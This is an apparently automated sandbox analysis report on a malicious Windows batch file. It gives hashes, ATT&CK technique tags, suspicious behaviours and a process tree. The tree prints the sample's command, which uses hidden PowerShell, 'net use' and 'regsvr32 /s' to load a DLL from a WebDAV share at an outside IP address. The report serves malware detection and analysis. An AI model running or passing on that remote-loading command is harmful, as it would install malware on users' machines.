526d3423b43a9571ccb1516090bccc5c69ea8ce96200c19a1dd54808067efb63

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 22:23

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General

Target

261463194548020265.bat
Size

16KB
MD5

0b84678193f96f2090de54dcb8873cd2
SHA1

361c1f8bd67b4637344b9d9be78dd9057731f97e
SHA256

526d3423b43a9571ccb1516090bccc5c69ea8ce96200c19a1dd54808067efb63
SHA512

c4784f3508a344da79ef672c734b5a55941a47e8c786795262453d5ccfa47d6cae6a344389de63b9c081308f778de47b7b6daa5d3e78dae99e2694a04a2aa6d3
SSDEEP

384:094Z75OcyuEY2O3tbMh9RlmRsTo0SVJ9wzMh4eAE:w4hRibwT9uq4eAE

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1700	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1700	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2232	wordpad.exe
2232	wordpad.exe
2232	wordpad.exe
2232	wordpad.exe
2232	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 2232	3028	cmd.exe	31
PID 3028 wrote to memory of 2232	3028	cmd.exe	31
PID 3028 wrote to memory of 2232	3028	cmd.exe	31
PID 3028 wrote to memory of 1700	3028	cmd.exe	32
PID 3028 wrote to memory of 1700	3028	cmd.exe	32
PID 3028 wrote to memory of 1700	3028	cmd.exe	32
PID 1700 wrote to memory of 2920	1700	powershell.exe	34
PID 1700 wrote to memory of 2920	1700	powershell.exe	34
PID 1700 wrote to memory of 2920	1700	powershell.exe	34
PID 1700 wrote to memory of 2108	1700	powershell.exe	35
PID 1700 wrote to memory of 2108	1700	powershell.exe	35
PID 1700 wrote to memory of 2108	1700	powershell.exe	35
PID 1700 wrote to memory of 2108	1700	powershell.exe	35
PID 1700 wrote to memory of 2108	1700	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\261463194548020265.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2920
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll
    3⤵
    PID:2108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1700-23-0x000000001B8C0000-0x000000001BBA2000-memory.dmp

Filesize
2.9MB

Download
memory/1700-24-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download